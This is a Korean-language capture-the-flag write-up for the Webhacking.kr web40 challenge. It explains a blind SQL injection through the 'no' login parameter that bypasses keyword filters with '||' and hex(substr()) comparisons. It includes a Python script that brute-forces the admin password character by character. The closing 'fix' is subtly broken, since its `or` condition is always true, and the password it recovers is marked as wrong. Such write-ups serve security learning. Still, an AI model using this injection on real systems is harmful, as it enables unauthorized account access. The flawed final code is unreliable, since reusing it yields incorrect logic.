Post

Webhacking.kr - web40

web40

1
2
3
4
<tr><td><b>no</b></td><td><input name=no value=1></td></tr>
<tr><td><b>id</b></td><td><input name=id value='guest'></td></tr>
<tr><td><b>pw</b></td><td><input name=pw type=password value='guest'></td></tr>
<tr><td colspan=2 align=center><input type=submit value='login'></td></tr>

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
guest는 no=1&id=guest&pw=guest일 때 로그인 성공
로그인 성공 시 <b>Success - guest</b>, 실패 시 <b>Failure</b>

no에 공백, or, select, ascii, ord 등등 필터링

no=0||3 입력했더니 id, pw 값에 상관없이 guest로 로그인이 되었음.
즉, no값은 먼저 따로 확인하는 듯함. 
이 부분을 계속해서 시도해보니 ?no=1||(no=2)&id=admin&pw=admin를 입력하였고 
그 결과 admin password를 입력하는 칸이 나왔음. 

admin의 비밀번호가 무엇인지 알아내려 했으나 admin과 관련된 것을 넣으면 admin password 입력창으로 가버림.
이를 이용해서admin 비밀번호 길이를 구하려고 입력하면서 확인한 결과 길이는 10임.

blind sql 인젝션을 통해 비밀번호 값을 알아낼 것임.
ascii, ord는 필터링이나 hex는 아니여서 hex를 이용함.

?no=0||hex(substr(pw,1,1))>67 -> success guest, <67인 경우 admin password : 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

url='https://webhacking.kr/challenge/web-29/'
headers={'Content-Type': 'application/x-www-form-urlencoded'}
cookies={'PHPSESSID' : '[redacted]'}

admin_pw=''

for i in range(1, 11):
    for j in range(48, 123):
        payload={'no':'0||hex(substr(pw,'+str(i)+',1))=hex('+str(j)+')','id':'guest','pw':'guest'}
        res=requests.get(url, params=payload, cookies=cookies, headers=headers)
        if "admin password :" in res.text:
            admin_pw+=chr(j)
            print("admin pw :",admin_pw)
            break
1
2
3
4
5
6
따라서 admin 비밀번호는 lck_admin
... ? 틀렸다고 함. 보니까 2번째는 admin의 2번째 값과 guest 비밀번호 2번째 값인 u와 중복되어서
위의 코드상으로는 찾아내지 못했던 것이였음.
해서 코드를 다음과 같이 수정하면 될 듯함.

if "admin password :" or "<b>Success - guest</b>" in res.text : 
This post is licensed under CC BY 4.0 by the author.